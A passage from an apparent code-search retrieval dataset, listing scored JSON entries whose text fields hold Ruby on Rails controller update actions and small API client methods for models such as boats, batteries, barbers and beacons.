"21f8f2e83abaecb87359a0adc66be413", "score": "0.57404023", "text": "def update\n respond_to do |format|\n if @boat_feature.update(boat_feature_params)\n format.html { redirect_to @boat_feature, notice: 'Boat feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat_feature }\n else\n format.html { render :edit }\n format.json { render json: @boat_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "66a1532cd6e1df63ec195f034b973862", "score": "0.5728464", "text": "def update\n @bounty = Bounty.find(params[:id])\n\n respond_to do |format|\n if @bounty.update_attributes(params[:bounty])\n format.html { redirect_to @bounty, notice: 'Bounty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "18e3b26a3f8958950f8f627e1a2599e9", "score": "0.57160294", "text": "def update\n respond_to do |format|\n if @bimester.update(bimester_params)\n format.html { redirect_to @bimester, notice: 'Bimester was successfully updated.' }\n format.json { render :show, status: :ok, location: @bimester }\n else\n format.html { render :edit }\n format.json { render json: @bimester.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf1b4fddd269b30b180345c5c8b5fb67", "score": "0.5695687", "text": "def update_info_monster(monster_id, ferocity)\n RESTful.put(\"#{URL_MICROSERVICE_MONSTER}/monster/#{monster_id}\", {'ferocity' => ferocity}.to_json, 'application/json')\n end", "title": "" }, { "docid": "af7e805fbca7f2dff8e657cfc027075b", "score": "0.56793535", "text": "def update\n @boat_driver = BoatDriver.find(params[:id])\n\n respond_to do |format|\n if @boat_driver.update_attributes(boat_driver_params)\n format.html { redirect_to @boat_driver, notice: 'Boat driver was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @boat_driver.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73ed8ef8f8222dc62ed7481a9af541f5", "score": "0.5679025", "text": "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Uppgifter om båten är ändrade.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba51e58633863c21f81cc74982922e59", "score": "0.56781715", "text": "def update\n @custom_beanie.brand_id = params[:brand_id]\n respond_to do |format|\n if @custom_beanie.update(custom_beanie_params)\n format.html { redirect_to @custom_beanie, notice: 'Custom beanie was successfully updated.' }\n format.json { render :show, status: :ok, location: @custom_beanie }\n else\n format.html { render :edit }\n format.json { render json: @custom_beanie.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59e541bfddb963dbabb16caf78e694c2", "score": "0.5667142", "text": "def update\n @bof = Bof.find(params[:id])\n\n respond_to do |format|\n if @bof.update_attributes(params[:bof])\n format.html { redirect_to @bof, notice: 'Bof was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bof.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98b2d412ef59d124b9755e9e4d7ca8df", "score": "0.56665355", "text": "def battery_select\n p params[\"building_id\"]\n @batteries = Battery.where(building_id: params[\"building_id\"])\n respond_to do |format |\n format.json {\n render json: {\n batteries: @batteries\n }\n }\n end\n end", "title": "" }, { "docid": "523f65f243a3c61812e5ade15c5ca5b8", "score": "0.56662697", "text": "def update!(property_id:, value:)\n HTTParty.put(\"#{NestApi::API_URL}/devices/thermostats/#{@id}\",\n query: { auth: @token.access_token },\n body: { \"#{property_id}\" => value }.to_json,\n headers: { 'Content-Type' => 'application/json'\n })\n end", "title": "" }, { "docid": "681499506a8e2ee991f6f83d3ea100e7", "score": "0.56625307", "text": "def update\n respond_to do |format|\n if @barber.update(barber_params)\n format.html { redirect_to @barber, notice: 'Barber was successfully updated.' }\n format.json { render :show, status: :ok, location: @barber }\n else\n format.html { render :edit }\n format.json { render json: @barber.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "681499506a8e2ee991f6f83d3ea100e7", "score": "0.56625307", "text": "def update\n respond_to do |format|\n if @barber.update(barber_params)\n format.html { redirect_to @barber, notice: 'Barber was successfully updated.' }\n format.json { render :show, status: :ok, location: @barber }\n else\n format.html { render :edit }\n format.json { render json: @barber.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5731793e9445cadee4abfaf2646a594b", "score": "0.56572413", "text": "def update\n @boat_type = BoatType.find(params[:id])\n\n respond_to do |format|\n if @boat_type.update_attributes(boat_type_params)\n format.html { redirect_to \"/boat_types\", notice: 'Boat type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @boat_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "684fbb7b82947d1e96929df062b57a38", "score": "0.5650862", "text": "def update\n @battery = Battery.find(params[:id])\n\n respond_to do |format|\n if @battery.update_attributes(params[:battery])\n format.html { redirect_to @battery, :notice => 'Battery was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @battery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c277075520660308511b345f3ca34972", "score": "0.56458366", "text": "def update\n respond_to do |format|\n if @barber.update(barber_params)\n format.html { redirect_to @barber, notice: 'Barber was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @barber.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "75903c3f81f25667a7bdc189785e9c4e", "score": "0.562803", "text": "def update\n @used_bike_model = UsedBikeModel.find(params[:id])\n\n if @used_bike_model.update(used_bike_model_params)\n head :no_content\n else\n render json: @used_bike_model.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "916aa4c9986bcbdc879f941e8e71de19", "score": "0.56273425", "text": "def update\n respond_to do |format|\n if @batting.update(batting_params)\n format.html { redirect_to @batting, notice: 'Batting was successfully updated.' }\n format.json { render :show, status: :ok, location: @batting }\n else\n format.html { render :edit }\n format.json { render json: @batting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "adece6c8dbba6da8d956774b410c645a", "score": "0.5621554", "text": "def update_mobile_carrier(args = {}) \n id = args['id']\n temp_path = \"/mobile.json/{carrierId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"mobileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "cd5ebf141d92be733718c5f77f821cef", "score": "0.5621178", "text": "def update\n @battery = Battery.find(params[:id])\n\n respond_to do |format|\n if @battery.update_attributes(params[:battery])\n format.html { redirect_to @battery, notice: 'Battery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @battery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47abb2cddfa1a665018f717cdaaa4164", "score": "0.55872416", "text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end", "title": "" }, { "docid": "549bd54a8db1bd98b5a802dcc74eb5cc", "score": "0.5583443", "text": "def update\n respond_to do |format|\n if @bussiness.update(bussiness_params)\n format.html { redirect_to @bussiness, notice: \"Bussiness was successfully updated.\" }\n format.json { render :show, status: :ok, location: @bussiness }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @bussiness.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe94afd26bd77a809eeb26cb9f64d9a2", "score": "0.5575161", "text": "def update\n respond_to do |format|\n if @bat.update(bat_params)\n format.html { redirect_to @bat, notice: 'Bat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8473bf414285e98026eff0046e804970", "score": "0.55734456", "text": "def update\n respond_to do |format|\n if @barber.update(barber_params)\n format.html { redirect_to @barbers, notice: 'Barber was successfully updated.' }\n format.json { render :show, status: :ok, location: @barber }\n else\n format.html { render :edit }\n format.json { render json: @barber.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4bb9fb1351989e3d0d0533d69c408326", "score": "0.5570652", "text": "def update\n @boy = Boy.find(params[:id])\n\n respond_to do |format|\n if @boy.update_attributes(params[:boy])\n format.html { redirect_to @boy, notice: 'Boy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @boy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7fa1001d8a6ae1aa5ff49f652b69c4a", "score": "0.5570234", "text": "def update\n render json: @beacon.errors unless @beacon.update(beacon_params)\n end", "title": "" }, { "docid": "b8227128944f23c8d5a55fddf7345a02", "score": "0.5567713", "text": "def update\n respond_to do |format|\n if @beacon_device.update(beacon_device_params)\n format.html { redirect_to @beacon_device, notice: 'Beacon device was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @beacon_device }\n else\n format.html { render action: 'edit' }\n format.json { render json: @beacon_device.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "05cb6982a22213e437d0bf4220cd48eb", "score": "0.5559366", "text": "def update\n @barrier = Barrier.find(params[:id])\n\n respond_to do |format|\n if @barrier.update_attributes(params[:barrier])\n format.html { redirect_to @barrier, notice: 'Barrier was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @barrier.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67c6dc536767bd23288ee361ed437abb", "score": "0.555516", "text": "def update\n @bar_bussiness = BarBussiness.find(params[:id])\n\n respond_to do |format|\n if @bar_bussiness.update_attributes(params[:bar_bussiness])\n format.html { redirect_to(@bar_bussiness, :notice => 'Bar bussiness was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bar_bussiness.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "278d6e59d1b8d093356eb71f980e4f3a", "score": "0.5550303", "text": "def update\n if @beer.update_attributes(beer_params)\n render json: @beer\n else\n render json: @beer.errors\n end\n end", "title": "" }, { "docid": "8a57aa77dc41593824869d801f68d578", "score": "0.5525657", "text": "def update\n respond_to do |format|\n if @bluetooth_device.update(bluetooth_device_params)\n format.html { redirect_to @bluetooth_device, :notice => t(\"alerts.bluetooth_device.update\") }\n format.json { render :show, status: :ok, location: @bluetooth_device }\n else\n format.html { render :edit }\n format.json { render json: @bluetooth_device.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41ac5575c39b11cf9b9c3b71b248368d", "score": "0.55240786", "text": "def update\n @band_requests = BandRequest.find(params[:id])\n\n if @band_requests.update(band_requests_params)\n if params[:status] == 1\n @band = Band.find(params[:band_id])\n @user = User.find(params[:user_id])\n @band.users << @user\n @band.save\n end\n head :no_content\n else\n render json: @band_requests.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f56d42ea80d75cc8559e783ddfed6006", "score": "0.5517772", "text": "def update\n respond_to do |format|\n if @blood_drive.update(blood_drive_params)\n format.html { redirect_to @blood_drive, notice: 'Blood drive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @blood_drive.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f598df1d679079de44bcafdb721e4791", "score": "0.551574", "text": "def update\n respond_to do |format|\n if @booth.update(booth_params)\n format.html { redirect_to @booth, notice: \"Booth was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booth }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booth.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6882ef78f8b3fdbb5e4fe5420af1d27c", "score": "0.5503532", "text": "def update\n @baoming = Baoming.find(params[:id])\n\n respond_to do |format|\n if @baoming.update_attributes(params[:baoming])\n format.html { redirect_to @baoming, notice: 'Baoming was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @baoming.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "537dd89d9df3cb746c0f8b6b277f5d3b", "score": "0.54982746", "text": "def update\n @device = Device.find(params[:id])\n\n if @device.update(device_params)\n head :no_content\n else\n render json: @device.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "894b7df546a7d5312952aefc89fae1fe", "score": "0.54982215", "text": "def update\n \n respond_to do |format|\n if @footwear.update(footwear_params)\n @footwear.create_sku()\n @footwear.save\n format.html { redirect_to @footwear, notice: 'Footwear was successfully updated.' }\n format.json { render :show, status: :ok, location: @footwear }\n else\n format.html { render :edit }\n format.json { render json: @footwear.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8914b545a10542d575a1795f2a02c385", "score": "0.5490876", "text": "def update\n @custom_bucket_hat.brand_id = params[:brand_id]\n respond_to do |format|\n if @custom_bucket_hat.update(custom_bucket_hat_params)\n format.html { redirect_to @custom_bucket_hat, notice: 'Custom bucket hat was successfully updated.' }\n format.json { render :show, status: :ok, location: @custom_bucket_hat }\n else\n format.html { render :edit }\n format.json { render json: @custom_bucket_hat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3fa46d3b4d4654a1e3352b1b804d1fe3", "score": "0.5489963", "text": "def edit_boat_with_http_info(name, capacity, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: BoatApi.edit_boat ...\"\n end\n # verify the required parameter 'name' is set\n fail ArgumentError, \"Missing the required parameter 'name' when calling BoatApi.edit_boat\" if name.nil?\n # verify the required parameter 'capacity' is set\n fail ArgumentError, \"Missing the required parameter 'capacity' when calling BoatApi.edit_boat\" if capacity.nil?\n # resource path\n local_var_path = \"/boat/edit\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'name'] = name\n query_params[:'capacity'] = capacity\n query_params[:'description'] = opts[:'description'] if !opts[:'description'].nil?\n query_params[:'boatrooms'] = @api_client.build_collection_param(opts[:'boatrooms'], :multi) if !opts[:'boatrooms'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2004')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BoatApi#edit_boat\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "8b93dd8fefd86185db2048b7bf45a60b", "score": "0.54823834", "text": "def update\n respond_to do |format|\n if @fibble.update(fibble_params)\n format.html { redirect_to @fibble, notice: 'Fibble was successfully updated.' }\n format.json { render :show, status: :ok, location: @fibble }\n else\n format.html { render :edit }\n format.json { render json: @fibble.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6ee157a197b4705f8722b38f03174be", "score": "0.54750484", "text": "def update\n respond_to do |format|\n if @boat_features_set.update(boat_features_set_params)\n format.html { redirect_to @boat_features_set, notice: 'Boat features set was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat_features_set }\n else\n format.html { render :edit }\n format.json { render json: @boat_features_set.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e52ee0d859e4fc5688bc9c111ab9ddc", "score": "0.54712814", "text": "def update\n if current_user.is_not_staff?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @bike_brand = BikeBrand.find(params[:id])\n\n respond_to do |format|\n if @bike_brand.update_attributes(params[:bike_brand])\n format.html { redirect_to @bike_brand, notice: 'Bike brand was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bike_brand.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07462d42f9e827a391c7294570b529e8", "score": "0.546984", "text": "def create\n @boat = Boat.new(boat_params)\n @boat.save!\n render :json => @boat.as_json\n end", "title": "" }, { "docid": "e0369d90966db1deab59086803dbc477", "score": "0.5466364", "text": "def update\n respond_to do |format|\n if @brand_bike.update(brand_bike_params)\n format.html { redirect_to @brand_bike, notice: 'Brand bike was successfully updated.' }\n format.json { render :show, status: :ok, location: @brand_bike }\n else\n format.html { render :edit }\n format.json { render json: @brand_bike.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "236304fcad43192d087ee46b0dda7697", "score": "0.54589206", "text": "def update\n @baby = Baby.find(params[:id])\n\n respond_to do |format|\n if @baby.update_attributes(params[:baby])\n format.html { redirect_to @baby, notice: 'Baby was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @baby.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "150be72e889efe3c138cce1b71d4b961", "score": "0.5457241", "text": "def update\n respond_to do |format|\n if @bowler.update(bowler_params)\n format.html { redirect_to @bowler, notice: 'Bowler was successfully updated.' }\n format.json { render :show, status: :ok, location: @bowler }\n else\n format.html { render :edit }\n format.json { render json: @bowler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2331ae70d55130bc5323bac89488d79", "score": "0.5456767", "text": "def update\n @brakes_system = BrakesSystem.find(params[:id])\n\n respond_to do |format|\n if @brakes_system.update_attributes(params[:brakes_system])\n format.html { redirect_to @brakes_system, notice: 'Brakes system was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brakes_system.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "703d20118272e04f59b36618e52e825f", "score": "0.5452666", "text": "def update\n respond_to do |format|\n if @battery_bank.update(battery_bank_params)\n format.html { redirect_to ['equipment',@battery_bank], notice: 'El banco de baterías fue actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @battery_bank }\n else\n format.html { render :edit }\n format.json { render json: @battery_bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c35f89f4e93251128bbf53c08021b3d", "score": "0.54526347", "text": "def update\n @company_id = company_params[:company_id]\n @reponse = HTTParty.put(\"https://rails-api-ipo.herokuapp.com/api/v1/companies/#{@company_id}.json\",\n :body => {:company_name => company_params[:company_name]}.to_json,\n :headers => { 'Content-Type' => 'application/json' } )\n respond_to do |format|\n format.html { redirect_to '/companies/'+(@reponse['id'].to_s), notice: 'Company was successfully created.' }\n end\n end", "title": "" }, { "docid": "16ba5b303d89c9feda756e3a8b9a076f", "score": "0.5448143", "text": "def update\n respond_to do |format|\n if @bow.update(bow_params)\n format.html { redirect_to @bow, notice: 'Bow was successfully updated.' }\n format.json { render :show, status: :ok, location: @bow }\n else\n format.html { render :edit }\n format.json { render json: @bow.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60c6e90964eaab1b117f5a24484329b5", "score": "0.5447025", "text": "def update\n @bounty = Bounty.find(params[:id])\n\n respond_to do |format|\n if @bounty.update_attributes(params[:bounty])\n format.html { redirect_to admin_bounty_path, notice: 'Bounty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64ee40f78ae9209fd7454ee4388e6bf8", "score": "0.54467136", "text": "def update\n result = ::V1::RequestBid::Update.(params: params, current_user: current_user)\n response = FirstTouch::Endpoint.(result, ::V1::RequestBid::Representer::Full)\n render json: response[:data], status: response[:status]\n end", "title": "" }, { "docid": "6c6f8daccdd79e8bceeab6102e7aa443", "score": "0.54442465", "text": "def update_branding(branding_id, params)\n request :patch,\n \"/v3/brandings/#{branding_id}.json\",\n params\n end", "title": "" }, { "docid": "e49aa17c147847f929b93aa3a3c73218", "score": "0.54331785", "text": "def update\n respond_to do |format|\n if @loose_berry.update(loose_berry_params)\n format.html { redirect_to tenant_loose_berries_path , notice: 'Loose berry was successfully updated.' }\n format.json { render :show, status: :ok, location: @loose_berry }\n else\n format.html { render :edit }\n format.json { render json: @loose_berry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "137f3cbe056178cb963fb376d794868c", "score": "0.54265785", "text": "def update\n if @brewery.update(brewery_params)\n render json: @brewery\n else\n render json: @brewery.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a4e8966c9340d7555997d85fd02e86cd", "score": "0.542578", "text": "def update\n\t\t@bboy = Bboy.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @bboy.update_attributes(params[:bboy])\n\t\t\t\tformat.html { redirect_to(@bboy, :notice => 'Bboy was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @bboy.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "59c39ede92ac75ec3d9d3eaabf64b2b3", "score": "0.5425744", "text": "def update\n respond_to do |format|\n if @super_bowl.update(super_bowl_params)\n format.html { redirect_to @super_bowl, notice: 'Super bowl was successfully updated.' }\n format.json { render :show, status: :ok, location: @super_bowl }\n else\n format.html { render :edit }\n format.json { render json: @super_bowl.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bda0b00e08e2bb6edb0a1499a70b3165", "score": "0.5425362", "text": "def update\n update_item(@beer_club, beer_club_params, \"Beer Club\")\n end", "title": "" }, { "docid": "254ba545a8f4304d0e8070e1938de26b", "score": "0.54198325", "text": "def update\n respond_to do |format|\n if @barrack.update(barrack_params)\n format.html { redirect_to @barrack, notice: 'Barrack was successfully updated.' }\n format.json { render :show, status: :ok, location: @barrack }\n else\n format.html { render :edit }\n format.json { render json: @barrack.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb41fd156335e3afcbf488b4f5a3df09", "score": "0.5417865", "text": "def set_batting\n @batting = Batting.find(params[:id])\n end", "title": "" }, { "docid": "cfa67a36f9b1cbb6072700692ce3370d", "score": "0.5411009", "text": "def update!(params={})\n @client.put(path, params)\n\n @attributes.merge!(params)\n end", "title": "" }, { "docid": "b5909547d5b26015bee1993059a4c115", "score": "0.54100627", "text": "def update\n @band = Band.find(params[:id])\n\n if @band.update(band_params)\n head :no_content\n else\n render json: @band.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dbab8bf3451a4031beccb48cfa4dd720", "score": "0.5406877", "text": "def update\n respond_to do |format|\n if @bulb.update(bulb_params)\n format.html { redirect_to @bulb, notice: 'Bulb was successfully updated.' }\n format.json { render :show, status: :ok, location: @bulb }\n else\n format.html { render :edit }\n format.json { render json: @bulb.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7c95262397bf1583c7070537133edd0", "score": "0.54059064", "text": "def update\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n if @boat.update_attributes(params[:boat])\n flash[:notice] = 'Boat was successfully updated.'\n format.html { redirect_to(@boat) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @boat.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f94a98d0fdf56adc94eadc60fddc11e9", "score": "0.5390962", "text": "def update\n respond_to do |format|\n if @api_bottle.update(api_bottle_params)\n format.html { redirect_to @api_bottle, notice: 'Bottle was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_bottle }\n else\n format.html { render :edit }\n format.json { render json: @api_bottle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35a9c36b57ca9053dfdb10c4d954f882", "score": "0.5390935", "text": "def update\r\n respond_to do |format|\r\n if @battery.update(battery_params)\r\n format.html { redirect_to @battery, notice: \"Battery was successfully updated.\" }\r\n format.json { render :show, status: :ok, location: @battery }\r\n else\r\n format.html { render :edit, status: :unprocessable_entity }\r\n format.json { render json: @battery.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "a65aba135f5e9b240ff44c6df5015b6e", "score": "0.53897184", "text": "def update\n respond_to do |format|\n if @barbearium.update(barbearium_params)\n format.html { redirect_to @barbearium, notice: 'Barbearium was successfully updated.' }\n format.json { render :show, status: :ok, location: @barbearium }\n else\n format.html { render :edit }\n format.json { render json: @barbearium.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "664e7b8d3595cf3ab2f18fabc22d1fe5", "score": "0.53855443", "text": "def update\n @bus.update(bus_params)\n respond_with(@bus)\n end", "title": "" }, { "docid": "1ffa81a0fa3a26b052703864680dee84", "score": "0.538549", "text": "def update\n @bouty = Bouty.find(params[:id])\n\n respond_to do |format|\n if @bouty.update_attributes(params[:bouty])\n format.html { redirect_to(about_path, :notice => 'Bouty was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bouty.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8da95f490cfad08427ba22cf8db4fb3", "score": "0.53829956", "text": "def update\n @bounty = Bounty.find(params[:id])\n\n respond_to do |format|\n if @bounty.update_attributes(params[:bounty])\n format.html { redirect_to \"/#{@bounty.issue.repo_owner}/#{@bounty.issue.repo_name}/issues/#{@bounty.issue.git_number}\", notice: 'Bounty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3a9e1dfc0ec67020c1baec8cae3a9f8", "score": "0.5378263", "text": "def set_bat\n @bat = Bat.find(params[:id])\n end", "title": "" }, { "docid": "5c735a53d7d35abc26b0ead44ab739ea", "score": "0.537252", "text": "def update\n @biosensor = Biosensor.find(params[:id])\n\n respond_to do |format|\n if @biosensor.update_attributes(params[:biosensor])\n format.html { redirect_to @biosensor, notice: 'Biosensor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @biosensor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99c66b481a1b32fed763928066a2d2f5", "score": "0.53697264", "text": "def update\n @super_bowl = SuperBowl.find(params[:id])\n\n respond_to do |format|\n if @super_bowl.update_attributes(params[:super_bowl])\n format.html { redirect_to @super_bowl, notice: 'Super bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @super_bowl.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a6c7ecb930284606fe369d24dc018f3", "score": "0.5367874", "text": "def update\n @barber_shop = BarberShop.find(params[:id])\n\n if @barber_shop.update(barber_shop_params)\n head :no_content\n else\n render json: @barber_shop.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a3b859d29cc4bd3d2dbe88cf12f93c41", "score": "0.536461", "text": "def update\n @babycard = Babycard.find(params[:id])\n\n respond_to do |format|\n if @babycard.update_attributes(params[:babycard])\n format.html { redirect_to @babycard, notice: 'Babycard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @babycard.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "560c926c4b0de1e05f815dff194daf37", "score": "0.5363917", "text": "def update\n respond_to do |format|\n if @beacon.set(beacon_params)\n format.html { redirect_to @beacon, notice: 'Beacon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @beacon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ea2a0c2b7e327db21ab7e0854223efe", "score": "0.536373", "text": "def update_brand(id, params = {})\n wrapped_params = { brand: params }\n\n @client.make_request(:get, \"users/#{id}/brand\", EasyPost::Models::Brand, wrapped_params)\n end", "title": "" }, { "docid": "87959acb6a3ff6e099795bf068be4190", "score": "0.53632486", "text": "def update\n @moretinymobbattle = Moretinymobbattle.find(params[:id])\n\n respond_to do |format|\n if @moretinymobbattle.update_attributes(params[:moretinymobbattle])\n format.html { redirect_to @moretinymobbattle, notice: 'Moretinymobbattle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moretinymobbattle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f8872308cd71e90aed963baf02fd23e", "score": "0.53542215", "text": "def update\n request = RestClient.put File.join(API_SERVER,\"rest-api/departments\"), { \n 'id' => params['id'], \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n\n redirect_to :action => :index\n end", "title": "" }, { "docid": "6b8597d764b805405f378bac71751170", "score": "0.53510743", "text": "def update\n respond_to do |format|\n if @boy.update(boy_params)\n format.html { redirect_to @boy, notice: 'Boy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @boy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ead104991a2269995cb31c98bf3f182c", "score": "0.53478664", "text": "def update\n @battery_daily_test = 